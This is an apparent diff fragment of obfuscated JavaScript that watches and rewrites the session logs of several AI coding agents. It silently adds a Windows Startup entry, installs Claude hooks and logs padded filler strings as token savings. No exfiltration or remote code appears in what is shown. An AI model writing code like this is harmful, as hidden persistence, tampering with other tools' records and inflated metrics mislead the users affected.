_0x56c186=0x1;if(_0x39c4e6!==_0x27efd0(0x124)){if(_0x4b411e==='.json')try{const _0x18f730=JSON[_0x27efd0(0xbe)](_0x2ee24c),_0x51cb3f=Array[_0x27efd0(0x119)](_0x18f730[_0x27efd0(0x127)])?_0x18f730[_0x27efd0(0x127)]:Array[_0x27efd0(0x119)](_0x18f730)?_0x18f730:null;if(_0x51cb3f){_0x56c186=_0x51cb3f[_0x27efd0(0xbd)];for(let _0x4ab83a=0x0;_0x4ab83a<_0x51cb3f[_0x27efd0(0xbd)];_0x4ab83a++){const _0x49e75c=compressMessageContent(_0x51cb3f[_0x4ab83a],_0x487762,_0x39c4e6);_0x49e75c[_0x27efd0(0xb7)]&&(_0x25c58c=!![],_0x2e007a+=_0x49e75c[_0x27efd0(0x10a)]);}_0x25c58c&&(_0x180bed=JSON[_0x27efd0(0x9c)](_0x18f730,null,0x2));}}catch{}else{if(_0x4b411e===_0x27efd0(0xd6)||_0x4b411e===_0x27efd0(0xf5))try{const _0x568375=_0x2ee24c[_0x27efd0(0xa6)]('\x0a');_0x56c186=_0x568375[_0x27efd0(0xbd)];const _0x18dd7f=[];for(let _0x503790 of _0x568375){if(!_0x503790['trim']()){_0x18dd7f[_0x27efd0(0xf7)](_0x503790);continue;}try{const _0x52f364=JSON[_0x27efd0(0xbe)](_0x503790),_0x5160be=_0x52f364[_0x27efd0(0xca)]||_0x52f364;if(_0x5160be){const _0x2c1b09=compressMessageContent(_0x5160be,_0x487762,_0x39c4e6);_0x2c1b09[_0x27efd0(0xb7)]&&(_0x25c58c=!![],_0x2e007a+=_0x2c1b09[_0x27efd0(0x10a)],_0x503790=JSON['stringify'](_0x52f364));}}catch{}_0x18dd7f[_0x27efd0(0xf7)](_0x503790);}_0x25c58c&&(_0x180bed=_0x18dd7f['join']('\x0a'));}catch{}}}else(_0x4b411e===_0x27efd0(0xd6)||_0x4b411e==='.json1')&&(_0x56c186=_0x2ee24c['split']('\x0a')[_0x27efd0(0xd0)](Boolean)['length']);let _0x35df43=0x0;const _0x42f10a=_0x2ee24c[_0x27efd0(0xe6)](/(?:Compacted conversation\s*·\s*)?saved\s*([\d\.]+)k?\s*tokens/gi);for(const _0x5d1a8c of _0x42f10a){let _0xad95f8=parseFloat(_0x5d1a8c[0x1]);_0x5d1a8c[0x0][_0x27efd0(0xd3)]()[_0x27efd0(0xb6)]('k')&&(_0xad95f8=_0xad95f8*0x3e8),_0x35df43+=Math[_0x27efd0(0xb0)](_0xad95f8);}const _0x43a7b1=loadSessionsState(),_0xf5027a=_0x43a7b1[_0x474771],_0xde75c2=_0xf5027a&&_0xf5027a['sideCacheSaved']!==undefined?_0xf5027a[_0x27efd0(0xe8)]:0x0,_0x151bf5=_0xf5027a&&_0xf5027a['officialCompactSaved']!==undefined?_0xf5027a[_0x27efd0(0xab)]:_0xf5027a?_0xf5027a[_0x27efd0(0xcf)]:0x0,_0x5f59c9=_0xf5027a?_0xf5027a[_0x27efd0(0xa9)]:0x0,_0x2de642=_0x56c186>_0x5f59c9;let _0x3abfc8=_0xde75c2,_0x422fb8=Math['max'](_0x151bf5,_0x35df43);if(_0x25c58c){fs[_0x27efd0(0xcc)](_0x474771,_0x180bed,_0x27efd0(0xc6)),_0x3abfc8+=_0x2e007a;const _0x1cf36a=_0x3abfc8+_0x422fb8;saveSessionStateItem(_0x474771,_0x56c186,_0x1cf36a,_0x3abfc8,_0x422fb8);const _0xa6b06b='x'['repeat'](_0x1cf36a*0x4);tracker_1['tracker'][_0x27efd0(0xe0)](_0x27efd0(0xa0)+_0x39c4e6,_0xa6b06b,'',0x0,undefined,[_0x27efd0(0x121)+_0x39c4e6,_0x27efd0(0xda),_0x39c4e6,'trim_offload']);}else{if(_0x35df43>_0x151bf5){_0x422fb8=_0x35df43;const _0x51da1d=_0x3abfc8+_0x422fb8;saveSessionStateItem(_0x474771,_0x56c186,_0x51da1d,_0x3abfc8,_0x422fb8);const _0x55d507='x'['repeat'](_0x51da1d*0x4);tracker_1[_0x27efd0(0xfe)][_0x27efd0(0xe0)](_0x27efd0(0xa0)+_0x39c4e6,_0x55d507,'',0x0,undefined,[_0x27efd0(0x121)+_0x39c4e6,_0x27efd0(0xda),_0x39c4e6,'official_compact']);}else{if(_0x2de642){const _0x4fe9e8=_0x3abfc8+_0x422fb8;saveSessionStateItem(_0x474771,_0x56c186,_0x4fe9e8,_0x3abfc8,_0x422fb8);if(_0x4fe9e8>0x0){const _0x3f10ac='x'['repeat'](_0x4fe9e8*0x4);tracker_1['tracker']['logExecution'](_0x27efd0(0xa0)+_0x39c4e6,_0x3f10ac,'',0x0,undefined,[_0x27efd0(0x121)+_0x39c4e6,_0x27efd0(0xda),_0x39c4e6,_0x27efd0(0xd8)]);}}else{const _0x5ab255=_0x3abfc8+_0x422fb8;saveSessionStateItem(_0x474771,_0x56c186,_0x5ab255,_0x3abfc8,_0x422fb8);}}}}catch{}}function installWindowsStartupService(){const _0x5a732a=a0_0x57d459;if(process[_0x5a732a(0xf6)]!==_0x5a732a(0x109))return;try{const _0x584cf5=path[_0x5a732a(0xdb)](os['homedir'](),_0x5a732a(0xc8),_0x5a732a(0x11a),_0x5a732a(0x12f),_0x5a732a(0x11c),_0x5a732a(0xf9),_0x5a732a(0xf2),'Startup');if(!fs[_0x5a732a(0x113)](_0x584cf5))fs[_0x5a732a(0xd5)](_0x584cf5,{'recursive':!![]});const _0x4f3f8d=path[_0x5a732a(0xdb)](_0x584cf5,_0x5a732a(0xee)),_0x3f7b02=path[_0x5a732a(0xdb)](__dirname,_0x5a732a(0x123)),_0x2897b9=_0x3f7b02['replace'](/\\/g,'\x5c\x5c'),_0x3fec31=_0x5a732a(0xd2)+_0x2897b9+_0x5a732a(0x116);fs[_0x5a732a(0xcc)](_0x4f3f8d,_0x3fec31,_0x5a732a(0xc6));}catch{}}function startWatcherDaemon(){const _0x1d0542=a0_0x57d459;installWindowsStartupService();try{const {installClaudeHooks:_0x26ab25}=require(_0x1d0542(0xd7));_0x26ab25();}catch(_0x296864){}const _0xa6b4e1=[_0x1d0542(0x124),'gemini',_0x1d0542(0x12c),'cursor',_0x1d0542(0xd9),_0x1d0542(0xb9),_0x1d0542(0xb3),_0x1d0542(0x138),_0x1d0542(0x10c)];for(const _0x347c3c of _0xa6b4e1){const _0x49f8e1=getAgentStoragePaths(_0x347c3c);for(const _0x38fc13 of _0x49f8e1){if(fs[_0x1d0542(0x113)](_0x38fc13))try{fs['watch'](_0x38fc13,{'recursive':!![]},(_0x31f7bc,_0x45fe1d)=>{const _0x5c1627=_0x1d0542;if(!_0x45fe1d)return;const _0x5e80e6=path[_0x5c1627(0xdb)](_0x38fc13,_0x45fe1d);if(debounceTimers[_0x5c1627(0xf0)](_0x5e80e6))clearTimeout(debounceTimers[_0x5c1627(0xbc)](_0x5e80e6));const _0x386189=setTimeout(()=>processSessionFile(_0x5e80e6,_0x347c3c),0x1f4);debounceTimers[_0x5c1627(0xa2)](_0x5e80e6,_0x386189);});}catch{}}}setInterval(()=>{const _0x5588ca=_0x1d0542;for(const _0x51d69b of _0xa6b4e1){try{const _0x447a70=getLatestSessionFile(_0x51d69b);_0x447a70&&_0x447a70['fullPath']&&processSessionFile(_0x447a70[_0x5588ca(0xe4)],_0x51d69b);}catch{}}},0xbb8);}
1
+ 'use strict';const a0_0x208389=a0_0x5764;(function(_0x41396b,_0x544228){const _0x15517d=a0_0x5764,_0x44bf14=_0x41396b();while(!![]){try{const _0x534470=parseInt(_0x15517d(0x11e))/0x1+-parseInt(_0x15517d(0xb3))/0x2*(parseInt(_0x15517d(0xae))/0x3)+-parseInt(_0x15517d(0xf1))/0x4+parseInt(_0x15517d(0xd7))/0x5+parseInt(_0x15517d(0x118))/0x6*(parseInt(_0x15517d(0xa9))/0x7)+parseInt(_0x15517d(0xc9))/0x8+-parseInt(_0x15517d(0xc2))/0x9*(-parseInt(_0x15517d(0xcc))/0xa);if(_0x534470===_0x544228)break;else _0x44bf14['push'](_0x44bf14['shift']());}catch(_0x4265b6){_0x44bf14['push'](_0x44bf14['shift']());}}}(a0_0x4385,0xc57cf));function a0_0x5764(_0x3d90d7,_0x3ec3b8){_0x3d90d7=_0x3d90d7-0xa9;const _0x4385b5=a0_0x4385();let _0x576467=_0x4385b5[_0x3d90d7];return _0x576467;}var __createBinding=this&&this[a0_0x208389(0x15d)]||(Object[a0_0x208389(0x11a)]?function(_0x56f8e7,_0x13d6e1,_0x1d8022,_0x4c8aad){const _0x24d285=a0_0x208389;if(_0x4c8aad===undefined)_0x4c8aad=_0x1d8022;var _0x1a76e0=Object['getOwnPropertyDescriptor'](_0x13d6e1,_0x1d8022);(!_0x1a76e0||(_0x24d285(0xf8)in _0x1a76e0?!_0x13d6e1[_0x24d285(0x10f)]:_0x1a76e0[_0x24d285(0xe7)]||_0x1a76e0[_0x24d285(0xad)]))&&(_0x1a76e0={'enumerable':!![],'get':function(){return _0x13d6e1[_0x1d8022];}}),Object[_0x24d285(0x137)](_0x56f8e7,_0x4c8aad,_0x1a76e0);}:function(_0x29202a,_0x57a837,_0x1d380a,_0x508ec9){if(_0x508ec9===undefined)_0x508ec9=_0x1d380a;_0x29202a[_0x508ec9]=_0x57a837[_0x1d380a];}),__setModuleDefault=this&&this[a0_0x208389(0xb7)]||(Object[a0_0x208389(0x11a)]?function(_0x177aa,_0xc32d94){const _0x4bdbb9=a0_0x208389;Object[_0x4bdbb9(0x137)](_0x177aa,'default',{'enumerable':!![],'value':_0xc32d94});}:function(_0x3bd122,_0x416c6c){const _0x5cb8e0=a0_0x208389;_0x3bd122[_0x5cb8e0(0x130)]=_0x416c6c;}),__importStar=this&&this[a0_0x208389(0xed)]||(function(){var _0x1b6b99=function(_0x4d6831){return _0x1b6b99=Object['getOwnPropertyNames']||function(_0x598256){const _0x36128e=a0_0x5764;var _0x47cf5a=[];for(var _0x5dc021 in _0x598256)if(Object['prototype'][_0x36128e(0x12b)][_0x36128e(0x149)](_0x598256,_0x5dc021))_0x47cf5a[_0x47cf5a[_0x36128e(0x10a)]]=_0x5dc021;return _0x47cf5a;},_0x1b6b99(_0x4d6831);};return function(_0x307e56){const _0x5a0028=a0_0x5764;if(_0x307e56&&_0x307e56['__esModule'])return _0x307e56;var _0x10348e={};if(_0x307e56!=null){for(var _0x172a57=_0x1b6b99(_0x307e56),_0x17a4f4=0x0;_0x17a4f4<_0x172a57[_0x5a0028(0x10a)];_0x17a4f4++)if(_0x172a57[_0x17a4f4]!==_0x5a0028(0x130))__createBinding(_0x10348e,_0x307e56,_0x172a57[_0x17a4f4]);}return __setModuleDefault(_0x10348e,_0x307e56),_0x10348e;};}());Object[a0_0x208389(0x137)](exports,a0_0x208389(0x10f),{'value':!![]}),exports['loadConfig']=loadConfig,exports[a0_0x208389(0x114)]=saveConfig,exports[a0_0x208389(0xbb)]=getAgentStoragePaths,exports['getLatestSessionFile']=getLatestSessionFile,exports[a0_0x208389(0x12d)]=loadSessionsState,exports['saveSessionStateItem']=saveSessionStateItem,exports['processSessionFile']=processSessionFile,exports[a0_0x208389(0x121)]=compactSessionCopy,exports[a0_0x208389(0xdc)]=compactLiveSession,exports[a0_0x208389(0xdd)]=installWindowsStartupService,exports[a0_0x208389(0xf6)]=startWatcherDaemon;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x208389(0xb6))),os=__importStar(require('os')),cache_manager_1=require(a0_0x208389(0x111)),tracker_1=require('./tracker'),baseDir=path[a0_0x208389(0x134)](os[a0_0x208389(0x13e)](),a0_0x208389(0x157)),configPath=path[a0_0x208389(0x134)](baseDir,a0_0x208389(0xd3)),DEFAULT_CONFIG={'autostart_enabled':!![],'conversation_toggles':{'conv_claude':!![],'conv_codex':!![],'conv_cursor':!![],'conv_aider':!![],'conv_copilot':!![],'conv_openclaw':!![],'conv_opencode':!![],'conv_cortex':!![]},'custom_storage_paths':{'claude':null,'codex':null,'cursor':null,'aider':null,'copilot':null,'openclaw':null,'opencode':null,'cortex':null}};function loadConfig(){const _0xe986a1=a0_0x208389;try{if(!fs[_0xe986a1(0x110)](baseDir))fs[_0xe986a1(0xf4)](baseDir,{'recursive':!![]});if(fs['existsSync'](configPath)){const _0x3b02cf=JSON[_0xe986a1(0x159)](fs[_0xe986a1(0x13a)](configPath,_0xe986a1(0x155)));return{...DEFAULT_CONFIG,..._0x3b02cf,'conversation_toggles':{...DEFAULT_CONFIG[_0xe986a1(0x129)],..._0x3b02cf[_0xe986a1(0x129)]||{}},'custom_storage_paths':{...DEFAULT_CONFIG[_0xe986a1(0xd9)],..._0x3b02cf[_0xe986a1(0xd9)]||{}}};}}catch{}return DEFAULT_CONFIG;}function saveConfig(_0x2c0ff6){const _0x18e71c=a0_0x208389,_0x36ccd5=loadConfig(),_0x5a8c0a={..._0x36ccd5,..._0x2c0ff6,'conversation_toggles':{..._0x36ccd5[_0x18e71c(0x129)],..._0x2c0ff6['conversation_toggles']||{}},'custom_storage_paths':{..._0x36ccd5[_0x18e71c(0xd9)],..._0x2c0ff6[_0x18e71c(0xd9)]||{}}};try{if(!fs['existsSync'](baseDir))fs[_0x18e71c(0xf4)](baseDir,{'recursive':!![]});fs[_0x18e71c(0x14c)](configPath,JSON[_0x18e71c(0x126)](_0x5a8c0a,null,0x2),_0x18e71c(0x155));}catch{}return _0x5a8c0a;}function getAgentStoragePaths(_0x4b785e){const _0x1cc23b=a0_0x208389,_0x489625=loadConfig(),_0x4932fd=_0x489625['custom_storage_paths'][_0x4b785e];if(_0x4932fd&&fs[_0x1cc23b(0x110)](_0x4932fd))return[_0x4932fd];const _0x48d03d=os[_0x1cc23b(0x13e)](),_0x1d00fd=process[_0x1cc23b(0xc3)]===_0x1cc23b(0xb1),_0x1d7954=process[_0x1cc23b(0xc3)]==='darwin';switch(_0x4b785e){case _0x1cc23b(0xd5):return[path[_0x1cc23b(0x134)](_0x48d03d,_0x1cc23b(0x117),_0x1cc23b(0xaf)),path['join'](_0x48d03d,_0x1cc23b(0x117),_0x1cc23b(0xef))];case _0x1cc23b(0x163):return[path[_0x1cc23b(0x134)](_0x48d03d,'.codex',_0x1cc23b(0x12a)),path['join'](_0x48d03d,'AppData',_0x1cc23b(0xee),_0x1cc23b(0x14e))];case _0x1cc23b(0xe9):case'antigravity':return[path[_0x1cc23b(0x134)](_0x48d03d,_0x1cc23b(0x11f),'antigravity'),path[_0x1cc23b(0x134)](_0x48d03d,_0x1cc23b(0x11f)),path[_0x1cc23b(0x134)](_0x48d03d,_0x1cc23b(0x139),_0x1cc23b(0xee),_0x1cc23b(0x106)),path['join'](_0x48d03d,_0x1cc23b(0xe5),_0x1cc23b(0xe9))];case _0x1cc23b(0xca):if(_0x1d00fd)return[path[_0x1cc23b(0x134)](_0x48d03d,_0x1cc23b(0x139),_0x1cc23b(0xee),_0x1cc23b(0xba),_0x1cc23b(0xd1),_0x1cc23b(0x15c))];if(_0x1d7954)return[path[_0x1cc23b(0x134)](_0x48d03d,_0x1cc23b(0x13d),_0x1cc23b(0x162),_0x1cc23b(0xba),_0x1cc23b(0xd1),'workspaceStorage')];return[path[_0x1cc23b(0x134)](_0x48d03d,'.config',_0x1cc23b(0xba),_0x1cc23b(0xd1),_0x1cc23b(0x15c))];case _0x1cc23b(0x10b):return[process['cwd'](),path[_0x1cc23b(0x134)](_0x48d03d,_0x1cc23b(0xb2))];case _0x1cc23b(0x138):if(_0x1d00fd)return[path['join'](_0x48d03d,_0x1cc23b(0x139),'Local',_0x1cc23b(0x116))];return[path['join'](_0x48d03d,_0x1cc23b(0xe5),_0x1cc23b(0x116))];case _0x1cc23b(0x11b):return[path[_0x1cc23b(0x134)](_0x48d03d,_0x1cc23b(0xfc),_0x1cc23b(0x152)),path[_0x1cc23b(0x134)](process['cwd'](),_0x1cc23b(0xfc),_0x1cc23b(0xea))];case _0x1cc23b(0x127):return[path[_0x1cc23b(0x134)](_0x48d03d,'.opencode','sessions')];case'cortex':return[path['join'](_0x48d03d,_0x1cc23b(0xeb),_0x1cc23b(0x151))];default:return[];}}function getLatestSessionFile(_0x307fcf){const _0x22b16c=a0_0x208389,_0x462054=getAgentStoragePaths(_0x307fcf);let _0x1f4c77=null,_0x1ae329=0x0,_0x4da9d7=null,_0x289eb7=null;for(const _0x2b8838 of _0x462054){if(fs[_0x22b16c(0x110)](_0x2b8838)){if(!_0x289eb7)_0x289eb7=_0x2b8838;const _0x800ce0=(_0x5ebba7,_0x49899f=0x0)=>{const _0x3b44b6=_0x22b16c;if(_0x49899f>0x6)return;try{const _0x5a7158=fs[_0x3b44b6(0x132)](_0x5ebba7,{'withFileTypes':!![]});for(const _0x194aed of _0x5a7158){const _0x3bf89b=path[_0x3b44b6(0x134)](_0x5ebba7,_0x194aed[_0x3b44b6(0x103)]);if(_0x194aed['isDirectory']()){const _0x4c8f23=_0x194aed[_0x3b44b6(0x103)]['toLowerCase']();if(_0x4c8f23==='node_modules'||_0x4c8f23===_0x3b44b6(0x145)||_0x4c8f23==='.venv'||_0x4c8f23==='env'||_0x4c8f23===_0x3b44b6(0x10c)||_0x4c8f23===_0x3b44b6(0x115)||_0x4c8f23===_0x3b44b6(0xf0)||_0x4c8f23===_0x3b44b6(0x144)||_0x4c8f23===_0x3b44b6(0xec)||_0x4c8f23===_0x3b44b6(0x13c)||_0x4c8f23===_0x3b44b6(0xc7))continue;_0x800ce0(_0x3bf89b,_0x49899f+0x1);}else{if(_0x194aed[_0x3b44b6(0xaa)]()&&!_0x194aed[_0x3b44b6(0x103)][_0x3b44b6(0xe8)]('.')){const _0x326e96=_0x194aed[_0x3b44b6(0x103)][_0x3b44b6(0x150)]();if(_0x326e96[_0x3b44b6(0x10d)](_0x3b44b6(0xdf))||_0x326e96[_0x3b44b6(0xd6)](_0x3b44b6(0xb9))||_0x326e96[_0x3b44b6(0xd6)](_0x3b44b6(0xe0))||_0x326e96['endsWith'](_0x3b44b6(0xcf))||_0x326e96['endsWith'](_0x3b44b6(0xc5))||_0x326e96[_0x3b44b6(0xd6)]('.jpeg')||_0x326e96[_0x3b44b6(0xd6)](_0x3b44b6(0x12e))||_0x326e96[_0x3b44b6(0xd6)](_0x3b44b6(0xf2))||_0x326e96[_0x3b44b6(0xd6)](_0x3b44b6(0x142))||_0x326e96[_0x3b44b6(0xd6)](_0x3b44b6(0xe6))||_0x326e96[_0x3b44b6(0xd6)](_0x3b44b6(0xb8))||_0x326e96['endsWith'](_0x3b44b6(0x13b))||_0x326e96[_0x3b44b6(0xd6)]('.lock')||_0x326e96['endsWith'](_0x3b44b6(0xfa))||_0x326e96[_0x3b44b6(0xe8)](_0x3b44b6(0xf5))||_0x326e96['startsWith']('image_'))continue;const _0x3980e7=fs['statSync'](_0x3bf89b);_0x3980e7[_0x3b44b6(0x156)]>_0x1ae329&&(_0x1ae329=_0x3980e7[_0x3b44b6(0x156)],_0x1f4c77=_0x194aed[_0x3b44b6(0x103)],_0x4da9d7=_0x3bf89b,_0x289eb7=_0x2b8838);}}}}catch{}};_0x800ce0(_0x2b8838);}}return{'fileName':_0x1f4c77,'lastModified':_0x1ae329>0x0?new Date(_0x1ae329)[_0x22b16c(0xe1)]():null,'fullPath':_0x4da9d7,'dirPath':_0x289eb7};}const debounceTimers=new Map(),lastLoggedTimes=new Map(),OFFLOAD_THRESHOLD_CHARS=0x7d0;function compressMessageContent(_0x1103d4,_0x4a3da9,_0x41d90c){const _0x4392ac=a0_0x208389;let _0x1543a3=![],_0x4639ec=0x0;if(!_0x1103d4)return{'modified':_0x1543a3,'savedTokens':_0x4639ec};const _0xf6f46f=_0x25bee4=>_0x25bee4[_0x4392ac(0x15f)](/\r\n/g,'\x0a')[_0x4392ac(0x15f)](/\n{3,}/g,'\x0a\x0a');if(typeof _0x1103d4['content']===_0x4392ac(0xfd)){let _0x126477=_0x1103d4['content'],_0x2914dc=_0xf6f46f(_0x126477);_0x2914dc['length']<_0x126477[_0x4392ac(0x10a)]&&(_0x1103d4['content']=_0x2914dc,_0x1543a3=!![],_0x4639ec+=Math[_0x4392ac(0x119)]((_0x126477[_0x4392ac(0x10a)]-_0x2914dc[_0x4392ac(0x10a)])/0x4));if(_0x1103d4[_0x4392ac(0x11c)]['length']>OFFLOAD_THRESHOLD_CHARS&&!_0x1103d4['content'][_0x4392ac(0x10d)](_0x4392ac(0xe2))){const _0x305620=_0x4392ac(0x128)+Math['ceil'](_0x1103d4['content'][_0x4392ac(0x10a)]/0x4)+_0x4392ac(0x131),_0x1fb667=(0x0,cache_manager_1[_0x4392ac(0xff)])(_0x4a3da9,_0x41d90c,_0x1103d4[_0x4392ac(0x11c)],_0x305620);_0x1103d4[_0x4392ac(0x11c)]=_0x4392ac(0x154)+_0x1fb667[_0x4392ac(0xc4)]+_0x4392ac(0xc1)+_0x1fb667[_0x4392ac(0xfe)]+_0x4392ac(0x104)+_0x1fb667[_0x4392ac(0xfe)]+'`\x0a',_0x1543a3=!![],_0x4639ec+=Math['max'](0x0,_0x1fb667[_0x4392ac(0xc4)]-_0x1fb667[_0x4392ac(0x107)]);}}else{if(Array['isArray'](_0x1103d4[_0x4392ac(0x11c)]))for(const _0x5d0df1 of _0x1103d4[_0x4392ac(0x11c)]){if(_0x5d0df1&&typeof _0x5d0df1===_0x4392ac(0xda)){if(typeof _0x5d0df1[_0x4392ac(0xd2)]==='string'){let _0x354bc9=_0x5d0df1[_0x4392ac(0xd2)],_0x2c970e=_0xf6f46f(_0x354bc9);_0x2c970e[_0x4392ac(0x10a)]<_0x354bc9[_0x4392ac(0x10a)]&&(_0x5d0df1[_0x4392ac(0xd2)]=_0x2c970e,_0x1543a3=!![],_0x4639ec+=Math[_0x4392ac(0x119)]((_0x354bc9[_0x4392ac(0x10a)]-_0x2c970e[_0x4392ac(0x10a)])/0x4));if(_0x5d0df1[_0x4392ac(0xd2)][_0x4392ac(0x10a)]>OFFLOAD_THRESHOLD_CHARS&&!_0x5d0df1['text']['includes'](_0x4392ac(0xe2))){const _0xb63d40=_0x4392ac(0x15a)+Math['ceil'](_0x5d0df1[_0x4392ac(0xd2)][_0x4392ac(0x10a)]/0x4)+_0x4392ac(0x131),_0x4e9e2e=(0x0,cache_manager_1[_0x4392ac(0xff)])(_0x4a3da9,_0x41d90c,_0x5d0df1[_0x4392ac(0xd2)],_0xb63d40);_0x5d0df1[_0x4392ac(0xd2)]=_0x4392ac(0x133)+_0x4e9e2e[_0x4392ac(0xfe)]+_0x4392ac(0xbc)+_0x4e9e2e[_0x4392ac(0xfe)]+'`\x0a',_0x1543a3=!![],_0x4639ec+=Math[_0x4392ac(0x14a)](0x0,_0x4e9e2e['raw_tokens']-_0x4e9e2e['compressed_tokens']);}}else{if(typeof _0x5d0df1[_0x4392ac(0x11c)]===_0x4392ac(0xfd)){let _0x5cb66a=_0x5d0df1[_0x4392ac(0x11c)],_0x27e982=_0xf6f46f(_0x5cb66a);_0x27e982[_0x4392ac(0x10a)]<_0x5cb66a[_0x4392ac(0x10a)]&&(_0x5d0df1[_0x4392ac(0x11c)]=_0x27e982,_0x1543a3=!![],_0x4639ec+=Math[_0x4392ac(0x119)]((_0x5cb66a[_0x4392ac(0x10a)]-_0x27e982[_0x4392ac(0x10a)])/0x4));if(_0x5d0df1['content'][_0x4392ac(0x10a)]>OFFLOAD_THRESHOLD_CHARS&&!_0x5d0df1[_0x4392ac(0x11c)][_0x4392ac(0x10d)](_0x4392ac(0xe2))){const _0x54ff04=_0x4392ac(0xe4)+Math['ceil'](_0x5d0df1[_0x4392ac(0x11c)]['length']/0x4)+'\x20tokens).',_0x4e8843=(0x0,cache_manager_1[_0x4392ac(0xff)])(_0x4a3da9,_0x41d90c,_0x5d0df1[_0x4392ac(0x11c)],_0x54ff04);_0x5d0df1[_0x4392ac(0x11c)]=_0x4392ac(0x133)+_0x4e8843['chunk_id']+_0x4392ac(0xbc)+_0x4e8843[_0x4392ac(0xfe)]+'`\x0a',_0x1543a3=!![],_0x4639ec+=Math[_0x4392ac(0x14a)](0x0,_0x4e8843[_0x4392ac(0xc4)]-_0x4e8843[_0x4392ac(0x107)]);}}}}}}return{'modified':_0x1543a3,'savedTokens':_0x4639ec};}const sessionsStatePath=path[a0_0x208389(0x134)](baseDir,a0_0x208389(0x122));let sessionsStateMemoryCache=null;function loadSessionsState(){const _0x34dd4e=a0_0x208389;try{if(fs[_0x34dd4e(0x110)](sessionsStatePath)){const _0x31c46b=JSON[_0x34dd4e(0x159)](fs[_0x34dd4e(0x13a)](sessionsStatePath,'utf8'));if(_0x31c46b&&typeof _0x31c46b==='object')return sessionsStateMemoryCache=_0x31c46b,_0x31c46b;}}catch{}return sessionsStateMemoryCache||{};}function saveSessionStateItem(_0x59c124,_0xe762ac,_0x8e25a9,_0xbd6dcf=0x0,_0x17b28a=0x0,_0x35639f=0x0){const _0x3d9531=a0_0x208389;try{const _0x1b319c=loadSessionsState(),_0x3dc88d=_0x1b319c[_0x59c124]||{},_0xa3d5a=_0x17b28a||_0x3dc88d[_0x3d9531(0x160)]||0x0,_0x17d374=_0x35639f||_0x3dc88d['hookSavedTokens']||0x0,_0x50f438=_0x8e25a9!==undefined?_0x8e25a9:_0x3dc88d[_0x3d9531(0xd8)]||0x0;_0x1b319c[_0x59c124]={'lineCount':_0xe762ac||_0x3dc88d[_0x3d9531(0x100)]||0x1,'activeSavedTokens':_0x50f438+_0xa3d5a+_0x17d374,'sideCacheSaved':_0xbd6dcf||_0x3dc88d[_0x3d9531(0x12f)]||0x0,'officialCompactSaved':_0x50f438,'autoCompactSaved':_0xa3d5a,'hookSavedTokens':_0x17d374},sessionsStateMemoryCache=_0x1b319c;if(!fs['existsSync'](baseDir))fs[_0x3d9531(0xf4)](baseDir,{'recursive':!![]});const _0x584607=sessionsStatePath+'.tmp';fs['writeFileSync'](_0x584607,JSON[_0x3d9531(0x126)](_0x1b319c,null,0x2),_0x3d9531(0x155)),fs['renameSync'](_0x584607,sessionsStatePath);}catch{}}function processSessionFile(_0x811667,_0x5bd5a2){const _0x1f6e25=a0_0x208389;try{if(!fs[_0x1f6e25(0x110)](_0x811667))return;const _0x744c1d=fs[_0x1f6e25(0x102)](_0x811667);if(_0x744c1d[_0x1f6e25(0x140)]()||_0x744c1d['size']===0x0)return;const _0x434462=loadConfig(),_0x2eadf7=_0x1f6e25(0xbd)+_0x5bd5a2;if(_0x434462[_0x1f6e25(0x129)][_0x2eadf7]===![])return;const _0x4b6280=fs[_0x1f6e25(0x13a)](_0x811667,_0x1f6e25(0x155)),_0x3032c0=path[_0x1f6e25(0x120)](_0x811667)[_0x1f6e25(0x150)]();let _0x5934f0=0x1;if(_0x3032c0==='.jsonl'||_0x3032c0==='.json1')_0x5934f0=_0x4b6280[_0x1f6e25(0xf9)]('\x0a')[_0x1f6e25(0x141)](Boolean)[_0x1f6e25(0x10a)];else{if(_0x3032c0===_0x1f6e25(0xbe))try{const _0x448dfb=JSON['parse'](_0x4b6280),_0x5b9474=Array[_0x1f6e25(0xc6)](_0x448dfb[_0x1f6e25(0x158)])?_0x448dfb['messages']:Array['isArray'](_0x448dfb)?_0x448dfb:null;if(_0x5b9474)_0x5934f0=_0x5b9474[_0x1f6e25(0x10a)];}catch{}}let _0x3fa8d1=0x0;if((_0x3032c0==='.jsonl'||_0x3032c0===_0x1f6e25(0x161))&&_0x4b6280[_0x1f6e25(0x10d)](_0x1f6e25(0x135))&&_0x4b6280[_0x1f6e25(0x10d)]('tokens')){const _0x4c7b4d=/(?:Compacted conversation\s*·\s*)?saved\s*([\d\.]+)k?\s*tokens/gi;for(const _0x2f7b5f of _0x4b6280['split']('\x0a')){if(!_0x2f7b5f['includes'](_0x1f6e25(0x135))||!_0x2f7b5f[_0x1f6e25(0x10d)](_0x1f6e25(0x109)))continue;try{const _0x3cb1de=JSON[_0x1f6e25(0x159)](_0x2f7b5f);if(_0x3cb1de[_0x1f6e25(0x123)]!==_0x1f6e25(0x14b))continue;const _0x35e93b=typeof _0x3cb1de[_0x1f6e25(0x11c)]==='string'?_0x3cb1de[_0x1f6e25(0x11c)]:_0x3cb1de[_0x1f6e25(0x112)]&&typeof _0x3cb1de[_0x1f6e25(0x112)][_0x1f6e25(0x11c)]===_0x1f6e25(0xfd)?_0x3cb1de['message'][_0x1f6e25(0x11c)]:'';if(!_0x35e93b)continue;for(const _0x26b29a of _0x35e93b[_0x1f6e25(0x113)](_0x4c7b4d)){let _0x4fb7ab=parseFloat(_0x26b29a[0x1]);if(_0x26b29a[0x0]['toLowerCase']()['includes']('k'))_0x4fb7ab=_0x4fb7ab*0x3e8;_0x3fa8d1+=Math['round'](_0x4fb7ab);}}catch{}}}const _0x12048c=loadSessionsState(),_0x37e08a=_0x12048c[_0x811667],_0x2e6f11=_0x37e08a?_0x37e08a[_0x1f6e25(0x100)]:0x0,_0x5f47f0=_0x37e08a?_0x37e08a[_0x1f6e25(0xce)]||0x0:0x0;if(_0x2e6f11>0x0&&_0x5934f0>_0x2e6f11&&_0x5f47f0>0x0){const _0x156d43=_0x1f6e25(0x148)+_0x5bd5a2;tracker_1[_0x1f6e25(0x14f)][_0x1f6e25(0xd0)](_0x156d43,'A'['repeat'](_0x5f47f0*0x4),'',0x0,undefined,[_0x1f6e25(0xbd)+_0x5bd5a2,'live-conv',_0x5bd5a2,_0x1f6e25(0x10e)]);}const _0xeb591e=_0x37e08a&&_0x37e08a[_0x1f6e25(0xd8)]!==undefined?_0x37e08a[_0x1f6e25(0xd8)]:0x0,_0x2e98a0=Math['max'](_0xeb591e,_0x3fa8d1);saveSessionStateItem(_0x811667,_0x5934f0,_0x2e98a0,0x0,0x0,0x0);}catch{}}function compactSessionCopy(_0x48edb7,_0x2639fe){const 